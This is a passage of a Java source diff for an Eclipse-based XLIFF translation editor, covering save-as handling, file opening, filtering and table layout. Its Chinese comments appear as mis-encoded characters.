+ // private IPropertyChangeListener fPropertyChangeListener = new PropertyChangeListener(); + + /** The editor's font properties change listener. */ + private IPropertyChangeListener fFontPropertyChangeListener = new FontPropertyChangeListener(); + + /** 底部状æ€æ ç®¡ç†å™¨ã€‚ */ + private IStatusLineManager statusLineManager; + + /** 显示在状æ€æ å¤„çš„æ¡ç›®ã€‚ */ + private static XLIFFEditorStatusLineItemWithProgressBar translationItem; + private static XLIFFEditorStatusLineItemWithProgressBar approveItem; + + private static Image statusLineImage = net.heartsome.cat.ts.ui.xliffeditor.nattable.Activator.getImageDescriptor( + "icons/fileInfo.png").createImage(); + + /** 打开文件æˆåŠŸ */ + private boolean openFileSucceed; + + /** 语言过滤æ¡ä»¶ */ + private String langFilterCondition = ""; + + /** + * 获得语言过滤æ¡ä»¶ + * @return ; + */ + public String getLangFilterCondition() { + return langFilterCondition; + } + + /** æ­¤ç¼–è¾‘å™¨çš„å†…éƒ¨æ ‡è®°æ˜¾ç¤ºçŠ¶æ€ */ + private TagStyleManager tagStyleManager = new TagStyleManager(); + + /** + * 得到内部标记样å¼ç®¡ç†å™¨ + * @return ; + */ + public TagStyleManager getTagStyleManager() { + return tagStyleManager; + } + + private boolean multiFile = false; + /** 当å‰editoræ‰€æ‰“å¼€çš„å¤šä¸ªæ–‡ä»¶çš„é›†åˆ --robert */ + private List multiFileList = new ArrayList(); + /** 是å¦ä¿å­˜è¯¥ç¼–辑器,下次系统打开时会é‡æ–°åŠ è½½ --robert */ + private boolean isStore = false; + + /** Xliff切割点的list , å…¶ä¿å­˜çš„是切割点的rowID --robert */ + private List splitXliffPoints = new ArrayList(); + + /** + * 是å¦æ‰“开了多文件 + * @return ; + */ + public boolean isMultiFile() { + return multiFile; + } + + public XLIFFEditorImplWithNatTable() { + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.ui.editors.IXliffEditor#getXLFHandler() + */ + public XLFHandler getXLFHandler() { + return handler; + } + + public NatTable getTable() { + return table; + } + + public void setSplitXliffPoints(List splitXliffPoints) { + this.splitXliffPoints = splitXliffPoints; + } + + /** + * 是å¦æ˜¯æ°´å¹³å¸ƒå±€æ˜¾ç¤º + * @return ; + */ + public boolean isHorizontalLayout() { + return isHorizontalLayout; + } + + /** “é‡åšâ€ã€â€œæ’¤é”€â€æ“作的历å²è®°å½• */ + private static final IOperationHistory HISTORY = OperationHistoryFactory.getOperationHistory(); + + /** 绑定到此编辑器实例的“é‡åšâ€ä¸Šä¸‹æ–‡ */ + private IUndoContext undoContext; + + /** “撤销â€ã€â€œé‡åšâ€ ActionGroup */ + private UndoRedoActionGroup undoRedoGroup; + + /* + * Initialize the workbench operation history for our undo context. + */ + private void initializeOperationHistory() { + // create a unique undo context to + // represent this view's undo history + undoContext = new ObjectUndoContext(this); + + // set the undo limit for this context based on the preference + HISTORY.setLimit(undoContext, 99); + + // åˆå§‹åŒ–“é‡åšã€â€â€œæ’¤é”€â€èœå•é¡¹ + undoRedoGroup = new UndoRedoActionGroup(getSite(), undoContext, true); + } + + /** + * 设置全局的 Action:CUTã€COPYã€PASTEã€SELECT_ALLã€DELETE ; + */ + private void setGlobalActionHandler() { + IActionBars actionBars = getEditorSite().getActionBars(); + if (undoRedoGroup != null) { + undoRedoGroup.fillActionBars(actionBars); // 设置“é‡åšâ€ã€â€œæ’¤é”€â€èœå•é¡¹ + } + // actionBars.setGlobalActionHandler(ActionFactory.SELECT_ALL.getId(), tableSelectAllAction); // 设置“全选â€èœå•é¡¹ + actionBars.updateActionBars(); + } + + /* + * Get the operation history from the workbench. + */ + // private IOperationHistory getOperationHistory() { + // return OperationHistoryFactory.getOperationHistory(); + // // 或者使用:PlatformUI.getWorkbench().getOperationSupport().getOperationHistory(); + // } + + @Override + public void doSave(IProgressMonitor monitor) { + // Add By Leakey é‡Šæ”¾èµ„æº + handler = null; + table = null; + System.gc(); + } + + @Override + public void doSaveAs() { + performSaveAs(getProgressMonitor()); + } + + /** + * 执行å¦å­˜ä¸º + * @param progressMonitor + * 进度æ¡; + */ + private void performSaveAs(IProgressMonitor progressMonitor) { + Shell shell = getSite().getShell(); + final IEditorInput input = getEditorInput(); + final IEditorInput newInput; // æ–°çš„EditorInput + final File oldFile; // 原始的file + // if (input instanceof IURIEditorInput && !(input instanceof IFileEditorInput)) { // 外部文件 + FileDialog dialog = new FileDialog(shell, SWT.SAVE); + URI uri = ((IURIEditorInput) input).getURI(); + IPath oldPath = URIUtil.toPath(uri); + if (oldPath != null) { + dialog.setFileName(oldPath.lastSegment()); + dialog.setFilterPath(oldPath.removeLastSegments(1).toOSString()); // 设置所在文件夹 + oldFile = oldPath.toFile(); + } else { + oldFile = new File(uri); + } + + String newPath = dialog.open(); // 得到ä¿å­˜è·¯å¾„ + if (newPath == null) { + if (progressMonitor != null) + progressMonitor.setCanceled(true); + return; + } + + // 检查文件是å¦å­˜åœ¨ï¼Œå¦‚果存在则确认是å¦è¦†ç›– + final File localFile = new File(newPath); + if (localFile.exists()) { + String msg = MessageFormat.format(Messages.getString("editor.XLIFFEditorImplWithNatTable.msg1"), newPath); + MessageDialog overwriteDialog = new MessageDialog(shell, + Messages.getString("editor.XLIFFEditorImplWithNatTable.overwriteDialog"), null, msg, + MessageDialog.WARNING, new String[] { IDialogConstants.YES_LABEL, IDialogConstants.NO_LABEL }, 1 + /* 'No' is the default */); + if (overwriteDialog.open() != MessageDialog.OK) { + if (progressMonitor != null) { + progressMonitor.setCanceled(true); + return; + } + } + } + + IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + IFile file = root.getFileForLocation(URIUtil.toPath(localFile.toURI())); // 得到新文件 + if (file != null) { // 是“WorkSpaceâ€å†…的文件 + newInput = new FileEditorInput(file); + } else { // ä¸æ˜¯â€œWorkSpaceâ€å†…的文件 + try { + IFileStore fileStore = EFS.getStore(localFile.toURI()); + newInput = new FileStoreEditorInput(fileStore); + } catch (CoreException ex) { + // EditorsPlugin.log(ex.getStatus()); + LOGGER.error("", ex); + String title = Messages.getString("editor.XLIFFEditorImplWithNatTable.msgTitle1"); + String msg = MessageFormat.format(Messages.getString("editor.XLIFFEditorImplWithNatTable.msg2"), + ex.getMessage()); + MessageDialog.openError(shell, title, msg); + return; + } + } + // } else { + // SaveAsDialog dialog = new SaveAsDialog(shell); + // // æºæ–‡ä»¶ + // IFile original = (input instanceof IFileEditorInput) ? ((IFileEditorInput) input).getFile() : null; + // if (original != null) { + // dialog.setOriginalFile(original); // 添加æºæ–‡ä»¶ä¿¡æ¯ + // oldFile = original.getLocation().toFile(); + // if ((!oldFile.exists() || !oldFile.canRead()) && original != null) { + // String message = MessageFormat.format( + // "The original file ''{0}'' has been deleted or is not accessible.", original.getName()); + // dialog.setErrorMessage(null); + // dialog.setMessage(message, IMessageProvider.WARNING); + // } + // } else { + // oldFile = null; + // } + // dialog.create(); + // + // if (dialog.open() == MessageDialog.CANCEL) { // 打开“å¦å­˜ä¸ºâ€å¯¹è¯æ¡†ï¼Œç”¨æˆ·ç‚¹å‡»äº†â€œå–消â€æŒ‰é’® + // if (progressMonitor != null) + // progressMonitor.setCanceled(true); + // return; + // } + // + // IPath filePath = dialog.getResult(); // 获得用户选择的路径 + // if (filePath == null) { // 检查路径 + // if (progressMonitor != null) + // progressMonitor.setCanceled(true); + // return; + // } + // + // IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + // IFile file = root.getFile(filePath); + // newInput = new FileEditorInput(file); + // } + + saveAs(newInput, oldFile, progressMonitor); + } + + /** + * å¦å­˜æ–‡ä»¶ + * @param newInput + * @param oldFile + * @param monitor + * ; + */ + private void saveAs(IEditorInput newInput, File oldFile, IProgressMonitor monitor) { + if (newInput == null || oldFile == null) { + return; + } + boolean success = false; + try { + if (newInput instanceof FileEditorInput) { + IFile newFile = (IFile) newInput.getAdapter(IFile.class); + if (newFile != null) { + FileInputStream fis = new FileInputStream(oldFile); + BufferedInputStream bis = new BufferedInputStream(fis); + if (newFile.exists()) { + newFile.setContents(bis, false, true, monitor); + } else { + newFile.create(bis, true, monitor); + } + bis.close(); + fis.close(); + } + } else if (newInput instanceof FileStoreEditorInput) { + FileStoreEditorInput storeEditorInput = (FileStoreEditorInput) newInput; + File newFile = new File(storeEditorInput.getURI()); + copyFile(oldFile, newFile); + } + success = true; + } catch (CoreException e) { + LOGGER.error("", e); + final IStatus status = e.getStatus(); + if (status == null || status.getSeverity() != IStatus.CANCEL) { + String title = Messages.getString("editor.XLIFFEditorImplWithNatTable.msgTitle1"); + String msg = MessageFormat.format(Messages.getString("editor.XLIFFEditorImplWithNatTable.msg2"), + e.getMessage()); + MessageDialog.openError(getSite().getShell(), title, msg); + } + } catch (FileNotFoundException e) { + LOGGER.error("", e); + e.printStackTrace(); + } catch (IOException e) { + LOGGER.error("", e); + e.printStackTrace(); + } finally { + if (success) { + setInput(newInput); + } + } + + if (monitor != null) { + monitor.setCanceled(!success); + } + } + + /** + * å¤åˆ¶å•ä¸ªæ–‡ä»¶ + * @param oldPath + * String 原文件路径 如:c:/fqf.txt + * @param newPath + * String å¤åˆ¶åŽè·¯å¾„ 如:f:/fqf.txt + * @return boolean + */ + private void copyFile(File oldFile, File newFile) { + try { + if (oldFile.exists()) { // 原文件存在时 + ResourceUtils.copyFile(oldFile, newFile); + } else { + throw new Exception(MessageFormat.format(Messages.getString("editor.XLIFFEditorImplWithNatTable.msg3"), + oldFile.getAbsolutePath())); + } + } catch (Exception e) { + MessageDialog.openError(getSite().getShell(), + Messages.getString("editor.XLIFFEditorImplWithNatTable.msgTitle2"), e.getMessage()); + LOGGER.debug(e.getMessage()); + e.printStackTrace(); + } + } + + @Override + protected void setInput(IEditorInput input) { + super.setInput(input); + setPartName(input.getName()); + } + + /** + * 返回与此编辑器相关的进度监视器。 + * @return 与此编辑器相关的进度监视器 + */ + protected IProgressMonitor getProgressMonitor() { + IProgressMonitor pm = null; + IStatusLineManager manager = getStatusLineManager(); + if (manager != null) + pm = manager.getProgressMonitor(); + return pm != null ? pm : new NullProgressMonitor(); + } + + /** + * 获å–此编辑器的状æ€æ ç®¡ç†è€…。 + * @return 状æ€æ çš„管ç†è€… + */ + protected IStatusLineManager getStatusLineManager() { + return getEditorSite().getActionBars().getStatusLineManager(); + } + + private String titleToolTip; + + @Override + public String getTitleToolTip() { + if (titleToolTip != null) { + return titleToolTip; + } + return super.getTitleToolTip(); + } + + // /** + // * 处ç†é¦–选项改å˜äº‹ä»¶ + // * @see + // org.eclipse.ui.texteditor.AbstractTextEditor#handlePreferenceStoreChanged(org.eclipse.jface.util.PropertyChangeEvent) + // */ + // protected void handlePreferenceStoreChanged(org.eclipse.jface.util.PropertyChangeEvent event) { + // String property = event.getProperty(); + // + // if (IPreferenceConstants.CONTEXTBG1.equals(property) || IPreferenceConstants.CONTEXTBG2.equals(property)) { + // CompositeLayer compositeLayer = (CompositeLayer) table.getLayer(); + // // compositeLayer.clearConfiguration(); + // addRowBackgroundColor(compositeLayer); + // table.configure(); + // } + // } + + /** + * 添加行背景色(奇数行和å¶æ•°è¡Œä¸åŒï¼‰ + * @param compositeLayer + * ; + */ + private void addRowBackgroundColor(CompositeLayer compositeLayer) { + // Color evenRowBgColor = GUIHelper.getColor(238, 248, 255); + // Color oddRowBgColor = GUIHelper.getColor(255, 255, 255); + Style oddStyle = new Style(); + oddStyle.setAttributeValue(CellStyleAttributes.BACKGROUND_COLOR, GUIHelper.COLOR_WHITE); + Style evenStyle = new Style(); + evenStyle.setAttributeValue(CellStyleAttributes.BACKGROUND_COLOR, GUIHelper.COLOR_WHITE); + XLIFFEditorCompositeLayerConfiguration compositeLayerConfiguraion = new XLIFFEditorCompositeLayerConfiguration( + compositeLayer, oddStyle, evenStyle, this); + compositeLayer.addConfiguration(compositeLayerConfiguraion); + } + + @Override + public boolean isDirty() { + // TODO Auto-generated method stub + return false; + } + + @Override + public boolean isSaveAsAllowed() { + return true; // å…许“å¦å­˜ä¸ºâ€ + } + + @Override + public void init(IEditorSite site, IEditorInput input) throws PartInitException { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(Messages.getString("editor.XLIFFEditorImplWithNatTable.logger1")); + } + setSite(site); + setInput(input); + + List files = null; + if (input instanceof FileStoreEditorInput) { + FileStoreEditorInput editorInput = (FileStoreEditorInput) input; + files = Arrays.asList(new File(editorInput.getURI())); + setPartName(input.getName()); + } else if (input instanceof FileEditorInput) { + FileEditorInput editorInput = (FileEditorInput) input; + try { + files = getFilesByFileEditorInput(editorInput); + } catch (CoreException e) { + throw new PartInitException(e.getMessage(), e); + } + if (files != null) { + if (files instanceof ArrayList) { // “打开项目â€çš„情况,会返回 java.util.ArrayList 对象。 + if (files.size() <= 0) { + close(); // 关闭此编辑器。 + return; + } + + // 设置Editor标题æ çš„显示å称,å¦åˆ™å称用plugin.xml中的name属性 + StringBuffer nameSB = new StringBuffer(); + for (File file : files) { + nameSB.append(file.getName() + "ã€"); + } + nameSB.deleteCharAt(nameSB.length() - 1); + String partName = ""; + if (nameSB.length() > 17) { + partName = nameSB.substring(0, 17) + "..."; + } else { + partName = nameSB.toString(); + } + + setPartName(partName); + titleToolTip = nameSB.toString(); + multiFile = true; + multiFileList = files; + } else { // 打开文件的一般情况 + setPartName(input.getName()); + + String name = input.getName().toLowerCase(); + if (!CommonFunction.validXlfExtensionByFileName(name)) { + // IFile file = (IFile) input.getAdapter(IFile.class); + // 打开正转æ¢å¯¹è¯æ¡† + // ConverterCommandTrigger.openConversionDialog(site.getWorkbenchWindow(), file); + close(); // 关闭此编辑器。 + return; + } + } + } + } + // if (files == null || !XLFValidator.validateXlifFiles(files)) { + // close(); // 关闭此编辑器。 + // return; + // } + openFile(files, input); + + } + + /** + * 打开文件 + * @param files + * @param input + * @throws PartInitException + * ; + */ + private void openFile(List files, IEditorInput input) throws PartInitException { + OpenFile of = new OpenFile(files); + try { + // TODO 此处å¶å°”会出现一个异常 PartInitException,但并ä¸å½±å“正常è¿è¡Œã€‚ç›®å‰åŽŸå› ä¸æ˜Žã€‚ + /** + * 异常信æ¯ï¼š
    + * Warning: Detected recursive attempt by part net.heartsome.cat.ts.ui.xliffeditor.nattable.editor to create + * itself (this is probably, but not necessarily, a bug) + */ + if (!PlatformUI.getWorkbench().isStarting()) { + new ProgressMonitorDialog(getSite().getShell()).run(true, true, of); + } else { + of.run(null); + } + } catch (InvocationTargetException e) { + throw new PartInitException(e.getMessage(), e); + } catch (InterruptedException e) { + throw new PartInitException(e.getMessage(), e); + } + Map result = of.getOpenFileResult(); + + if (result == null + || Constant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) result.get(Constant.RETURNVALUE_RESULT)) { + openFileSucceed = false; + Throwable e = (Throwable) result.get(Constant.RETURNVALUE_EXCEPTION); + if (e != null) { + throw new PartInitException(e.getMessage(), e); + } + String msg = (String) result.get(Constant.RETURNVALUE_MSG); + if (msg == null || msg.length() == 0) { + msg = Messages.getString("editor.XLIFFEditorImplWithNatTable.msg4"); + } + MessageDialog.openError(getSite().getShell(), + Messages.getString("editor.XLIFFEditorImplWithNatTable.msgTitle3"), msg); + close(); // 关闭此编辑器。 + } else { // æˆåŠŸæ‰“开文件时 + openFileSucceed = true; + + // 判断所打开的文件是å¦ä¸ºç©ºï¼Œå¦‚果为空,进行æ示,并关闭编辑器, robert 2013-04-01 + int tuSize = handler.countTransUnit(); + if (tuSize <= 0) { + MessageDialog.openWarning(getSite().getShell(), Messages.getString("dialog.UpdateNoteDialog.msgTitle1"), + Messages.getString("editor.XLIFFEditorImplWithNatTable.cantOpenNullFile")); + close(); + } + + Image oldTitleImage = titleImage; + if (input != null) { + IEditorRegistry editorRegistry = PlatformUI.getWorkbench().getEditorRegistry(); + IEditorDescriptor editorDesc = editorRegistry.findEditor(getSite().getId()); + ImageDescriptor imageDesc = editorDesc != null ? editorDesc.getImageDescriptor() : null; + titleImage = imageDesc != null ? imageDesc.createImage() : null; + } + // 如果是åˆå¹¶æ‰“开,设置ä¸ä¸€æ ·çš„标志 + if (multiFile) { + setTitleImage(net.heartsome.cat.ts.ui.xliffeditor.nattable.Activator.getImageDescriptor( + "icons/multiFiles.png").createImage()); + } else { + setTitleImage(titleImage); + } + if (oldTitleImage != null && !oldTitleImage.isDisposed()) { + oldTitleImage.dispose(); + } + + JFaceResources.getFontRegistry().addListener(fFontPropertyChangeListener); + } + } + + /** + * 通过 FileEditorInput 得到当å‰è¦æ‰“开的文件 + * @param input + * FileEditorInput 对象 + * @return ; + * @throws CoreException + */ + private List getFilesByFileEditorInput(FileEditorInput input) throws CoreException { + List files = null; + + IFile file = (IFile) input.getAdapter(IFile.class); + if (file == null) { + throw new CoreException(new Status(Status.WARNING, + net.heartsome.cat.ts.ui.xliffeditor.nattable.Activator.PLUGIN_ID, + Messages.getString("editor.XLIFFEditorImplWithNatTable.msg5"))); + } else { + if ("xlp".equals(file.getFileExtension()) && ".TEMP".equals(file.getParent().getName())) { + List multiFiles = new XLFHandler().getMultiFiles(file); + files = new ArrayList(); + File mergerFile; + for (String multiFileLC : multiFiles) { + if (CommonFunction.validXlfExtensionByFileName(multiFileLC)) { + mergerFile = new File(multiFileLC); + files.add(mergerFile); + } + } + } else { + files = Arrays.asList(new File(input.getURI())); + } + } + return files; + } + + @Override + public void createPartControl(Composite parent) { + if (openFileSucceed) { // æˆåŠŸæ‰“开文件时 + GridLayoutFactory.fillDefaults().numColumns(1).spacing(0, 0).applyTo(parent); + parent.setLayoutData(new GridData(GridData.FILL_BOTH)); + // 增加过滤器和定ä½å™¨ Add By Leakey + addFilterComposite(parent); + // 添加下é¢çš„é¢æ¿ + addBottomComposite(parent); + if (statusLineManager == null) { + statusLineManager = getStatusLineManager(); + if (statusLineManager.find("translationProgress") == null) { + translationItem = new XLIFFEditorStatusLineItemWithProgressBar("translationProgress", + Messages.getString("editor.XLIFFEditorImplWithNatTable.translationItem")); + statusLineManager.add(translationItem); + } + if (statusLineManager.find("approvedProgress") == null) { + approveItem = new XLIFFEditorStatusLineItemWithProgressBar("approvedProgress", + Messages.getString("editor.XLIFFEditorImplWithNatTable.approveItem")); + statusLineManager.add(approveItem); + } + translationItem.setText( + Messages.getString("editor.XLIFFEditorImplWithNatTable.translationItem"), + net.heartsome.cat.ts.ui.xliffeditor.nattable.Activator.getImageDescriptor( + "icons/translated.png").createImage()); + translationItem.setProgressValue(0); + approveItem.setText(Messages.getString("editor.XLIFFEditorImplWithNatTable.approveItem"), + net.heartsome.cat.ts.ui.xliffeditor.nattable.Activator.getImageDescriptor("icons/approved.png") + .createImage()); + approveItem.setProgressValue(0); + } + changeLayout(isHorizontalLayout); + } + } + + /** + * 关闭此编辑器。
  • 当编辑器关闭自己会抛出 PartInitException 异常警告,因此此方法最适åˆåœ¨ init(IEditorSite site, IEditorInput input) 方法中调用
  • + */ + private void close() throws PartInitException { + Display display = getSite().getShell().getDisplay(); + display.asyncExec(new Runnable() { + public void run() { + getSite().getPage().closeEditor(XLIFFEditorImplWithNatTable.this, false); + // Add By Leakey é‡Šæ”¾èµ„æº + if (titleImage != null && !titleImage.isDisposed()) { + titleImage.dispose(); + titleImage = null; + } + if (statusLineImage != null && !statusLineImage.isDisposed()) { + statusLineImage.dispose(); + statusLineImage = null; + } + if (table != null && !table.isDisposed()) { + table.dispose(); + table = null; + } + handler = null; + System.gc(); + JFaceResources.getFontRegistry().removeListener(fFontPropertyChangeListener); + } + }); + } + + /** + * 添加填充过滤器é¢æ¿å†…容的é¢æ¿ + * @param parent + * @return 过滤器é¢æ¿; + */ + private void addFilterComposite(Composite main) { + Composite top = new Composite(main, SWT.NONE); + GridLayoutFactory.fillDefaults().numColumns(3).equalWidth(false).margins(0, 0).applyTo(top); + top.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + // 输入行å·è¿›è¡Œå®šä½ + final String rowLocationStr = Messages.getString("editor.XLIFFEditorImplWithNatTable.rowLocationStr"); + Text txtRowLocation = new Text(top, SWT.BORDER); + txtRowLocation.setText(rowLocationStr); + int width = 40; + if (Util.isLinux()) { + width = 35; + } + GridDataFactory.swtDefaults().hint(width, SWT.DEFAULT).applyTo(txtRowLocation); + + txtRowLocation.addFocusListener(new FocusAdapter() { + @Override + public void focusGained(FocusEvent e) { + Text text = (Text) e.widget; + if (rowLocationStr.equals(text.getText())) { + text.setText(""); + } + } + + @Override + public void focusLost(FocusEvent e) { + Text text = (Text) e.widget; + if ("".equals(text.getText())) { + text.setText(rowLocationStr); + } + } + }); + txtRowLocation.addKeyListener(new KeyAdapter() { + @Override + public void keyPressed(KeyEvent event) { + if (event.keyCode == SWT.CR || event.keyCode == SWT.KEYPAD_CR) { + String rowNumString = ((Text) event.widget).getText().trim(); + if (rowNumString != null && !"".equals(rowNumString)) { + int rowPosition; + try { + rowPosition = Integer.parseInt(rowNumString) - 1; + jumpToRow(rowPosition, false); + updateStatusLine(); + } catch (NumberFormatException e) { + Text text = (Text) event.widget; + text.setText(""); + } + } + } + } + }); + txtRowLocation.addVerifyListener(new VerifyListener() { + + public void verifyText(VerifyEvent event) { + if (event.keyCode == 0 && event.stateMask == 0) { // 文本框得到焦点时 + + } else if (Character.isDigit(event.character) || event.character == '\b' || event.keyCode == 127) { // 输入数字,或者按下Backspaceã€Deleteé”® + if ("".equals(((Text) event.widget).getText().trim()) && event.character == '0') { + event.doit = false; + } else { + event.doit = true; + } + } else { + event.doit = false; + } + } + }); + + cmbFilter = new Combo(top, SWT.BORDER | SWT.READ_ONLY); + cmbFilter.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + // TODO 完善过滤器åˆå§‹åŒ–æ•°æ®ã€‚ + // cmbFilter.add("所有文本段"); + // cmbFilter.add("未翻译文本段"); + // cmbFilter.add("已翻译文本段"); + // cmbFilter.add("未批准文本段"); + // cmbFilter.add("已批准文本段"); + // cmbFilter.add("有批注文本段"); + // cmbFilter.add("é”定文本段"); + // cmbFilter.add("未é”定文本段"); + // cmbFilter.add("é‡å¤æ–‡æœ¬æ®µ"); + // cmbFilter.add("疑问文本段"); + // cmbFilter.add("上下文匹é…文本段"); + // cmbFilter.add("完全匹é…文本段"); + // cmbFilter.add("模糊匹é…文本段"); + // cmbFilter.add("快速翻译文本段"); + // cmbFilter.add("自动ç¹æ®–文本段"); + // cmbFilter.add("错误标记文本段"); + // cmbFilter.add("术语ä¸ä¸€è‡´æ–‡æœ¬æ®µ"); + // cmbFilter.add("译文ä¸ä¸€è‡´æ–‡æœ¬æ®µ"); + // cmbFilter.add("带修订标记文本段"); + + final Set filterNames = XLFHandler.getFilterNames(); + for (String filterName : filterNames) { + cmbFilter.add(filterName); + } + + // 添加选项改å˜ç›‘å¬ + cmbFilter.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + + // Fixed Bug #2243 by Jason 当鼠标焦点在æºæ–‡å•å…ƒæ¡†ä¸­ä½¿ç”¨è¿‡æ»¤å™¨ï¼Œå¯¹è¿‡æ»¤åŽçš„译文进行æ“作会æ示该行é”定ä¸èƒ½æ“作 + // ActiveCellEditor.commit(); + HsMultiActiveCellEditor.commit(true); + Combo cmbFilter = (Combo) e.widget; + boolean isUpdated = handler.doFilter(cmbFilter.getText(), langFilterCondition); + if (isUpdated) { + if (table != null) { + bodyLayer.getSelectionLayer().clear(); + if (bodyLayer.selectionLayer.getRowCount() > 0) { + // 默认选中第一行 + HsMultiActiveCellEditor.commit(true); + bodyLayer.selectionLayer.doCommand(new SelectCellCommand(bodyLayer.getSelectionLayer(), + getTgtColumnIndex(), isHorizontalLayout ? 0 : 1, false, false)); + HsMultiCellEditorControl.activeSourceAndTargetCell(XLIFFEditorImplWithNatTable.this); + } + table.setFocus(); + } + autoResize(); // 自动调整 NatTable å¤§å° ; + updateStatusLine(); // 更新状æ€æ  + NattableUtil.refreshCommand(XLIFFEditorSelectionPropertyTester.PROPERTY_NAMESPACE, + XLIFFEditorSelectionPropertyTester.PROPERTY_ENABLED); + } + } + }); + + Button btnSaveFilter = new Button(top, SWT.NONE); + + // TODO 考虑æ¢æˆå›¾ç‰‡æ˜¾ç¤ºã€‚ + btnSaveFilter.setText(Messages.getString("editor.XLIFFEditorImplWithNatTable.btnAddFilter")); + btnSaveFilter.setToolTipText(Messages.getString("editor.XLIFFEditorImplWithNatTable.btnAddFilterTooltip")); + btnSaveFilter.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + CustomFilterDialog dialog = new CustomFilterDialog(table.getShell(), cmbFilter); + dialog.open(); + // int res = dialog.open(); + // if (res == CustomFilterDialog.OK) { + // cmbFilter.select(cmbFilter.getItemCount() - 1); // 选中最åŽä¸€è¡Œæ•°æ® + // cmbFilter.notifyListeners(SWT.Selection, null); + // } + } + }); + + cmbFilter.select(0); // é»˜è®¤é€‰ä¸­ç¬¬ä¸€è¡Œæ•°æ® + cmbFilter.notifyListeners(SWT.Selection, null); + + // æ›´æ–°nattable的列å为语言对 + renameColumn(); + top.pack(); + } + + /** + * 刷新编辑器 ; + */ + public void refresh() { + if (table != null && !table.isDisposed()) { + ViewportLayer viewportLayer = bodyLayer.getViewportLayer(); + viewportLayer.invalidateVerticalStructure(); + viewportLayer.recalculateScrollBars(); + table.redraw(); + } + } + + public void reloadXliff() { + Set filePaths = handler.getVnMap().keySet(); + ArrayList files = new ArrayList(); + for (String filePath : filePaths) { + files.add(new File(filePath)); + } + try { + openFile(files, null); + } catch (PartInitException e) { + LOGGER.error("", e); + e.printStackTrace(); + } + } + + /** + * 修改 NatTable æŸåˆ—的列å + * @param columnPosition + * 列Position + * @param newColumnName + * 新列å ; + */ + private void renameColumn() { + Map> languages = handler.getLanguages(); + for (Entry> entry : languages.entrySet()) { + String srcLanguage = entry.getKey(); + srcColumnName = srcLanguage; + for (String tgtLanguage : entry.getValue()) { + tgtColumnName = tgtLanguage; + break; + } + } + + if (table != null && !table.isDisposed()) { // 更新列首å + if (isHorizontalLayout) { + // 列Position + int srcColumnIdx = LayerUtil.getColumnPositionByIndex(table, 1); + int tgtColumnIdx = LayerUtil.getColumnPositionByIndex(table, 3); + table.doCommand(new RenameColumnHeaderCommand(table, srcColumnIdx, srcColumnName)); + table.doCommand(new RenameColumnHeaderCommand(table, tgtColumnIdx, tgtColumnName)); + } else { + String langPairStr = srcColumnName + Hyphen + tgtColumnName; + int langPairIdx = VerticalNatTableConfig.SOURCE_COL_INDEX; + table.doCommand(new RenameColumnHeaderCommand(table, langPairIdx, langPairStr)); + } + } + } + + /** + * 跳转到指定行的文本段 + * @param rowId + * 行的唯一标识; + */ + public void jumpToRow(String rowId) { + + int rowPosition = handler.getRowIndex(rowId); + if (rowPosition > -1) { + jumpToRow(rowPosition, false); + } + } + + /** + * 跳转到指定行的文本段 + * @param rowPosition + * è¡Œå·ï¼Œä»Ž0开始 ; + */ + public void jumpToRow(int rowPosition) { + if (rowPosition < 0) { + return; + } + int[] selectedRows = getSelectedRows(); + if (selectedRows.length == 1 && selectedRows[0] == rowPosition) { // 如果已ç»é€‰ä¸­æ­¤è¡Œ + return; + } + + // TODO 已在 target 内容修改的时候判断并将 state 属性值åšä¿®æ”¹ï¼Œæ­¤å¤„ç†è®ºä¸Šæ— éœ€å†åšå¤„ç†ã€‚ + // updateCurrentSegmentTranslateProp(); // 若当å‰ç›®æ ‡æ–‡æœ¬æ®µå†…容ä¸ä¸ºç©ºï¼Œåˆ™è‡ªåŠ¨å°†å…¶ state 属性值设为“translated†+ + int maxRowNum = handler.countEditableTransUnit() - 1; + rowPosition = rowPosition > maxRowNum ? maxRowNum : rowPosition; + + if (!isHorizontalLayout) { // 处ç†åž‚ç›´å¸ƒå±€ä¸‹çš„è¡Œå· + rowPosition = rowPosition * VerticalNatTableConfig.ROW_SPAN; + } + + ViewportLayer viewportLayer = bodyLayer.getViewportLayer(); + // 先记录下å¯è§åŒºåŸŸçš„范围 + HsMultiActiveCellEditor.commit(true); + viewportLayer.doCommand(new SelectCellCommand(bodyLayer.getSelectionLayer(), getTgtColumnIndex(), rowPosition, + false, false)); + HsMultiCellEditorControl.activeSourceAndTargetCell(this); + } + + /** + * 得到当å‰é€‰ä¸­çš„行的唯一标识 + * @return ; + */ + public List getSelectedRowIds() { + SelectionLayer selectionLayer = bodyLayer.getSelectionLayer(); + int[] rowPositions = selectionLayer.getFullySelectedRowPositions(); + Set rowIds = handler.getRowIds(rowPositions); + return new ArrayList(rowIds); + } + + /** + * 得到当å‰é€‰ä¸­çš„è¡Œ + * @return ; + */ + public int[] getSelectedRows() { + SelectionLayer selectionLayer = bodyLayer.getSelectionLayer(); + return selectionLayer.getFullySelectedRowPositions(); + } + + /** + * 添加下é¢çš„é¢æ¿ + * @param parent + * @return 下é¢çš„é¢æ¿; + */ + private void addBottomComposite(Composite main) { + final Composite bottom = new Composite(main, SWT.NONE); + GridLayoutFactory.fillDefaults().numColumns(1).margins(0, 0).applyTo(bottom); + bottom.setLayoutData(new GridData(GridData.FILL_BOTH)); + + this.parent = bottom; + } + + /** + * ç»™ NatTable 添加å¯ç¼–辑å•å…ƒæ ¼çš„é…ç½® + * @return ; + */ + private IConfiguration editableGridConfiguration() { + return new AbstractRegistryConfiguration() { + + public void configureRegistry(IConfigRegistry configRegistry) { + TextPainterWithPadding painter = new TextPainterWithPadding(true, Constants.SEGMENT_TOP_MARGIN, + Constants.SEGMENT_RIGHT_MARGIN, Constants.SEGMENT_BOTTOM_MARGIN, Constants.SEGMENT_LEFT_MARGIN, + XLIFFEditorImplWithNatTable.this, + JFaceResources.getFont(net.heartsome.cat.ts.ui.Constants.XLIFF_EDITOR_TEXT_FONT)); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_PAINTER, painter, 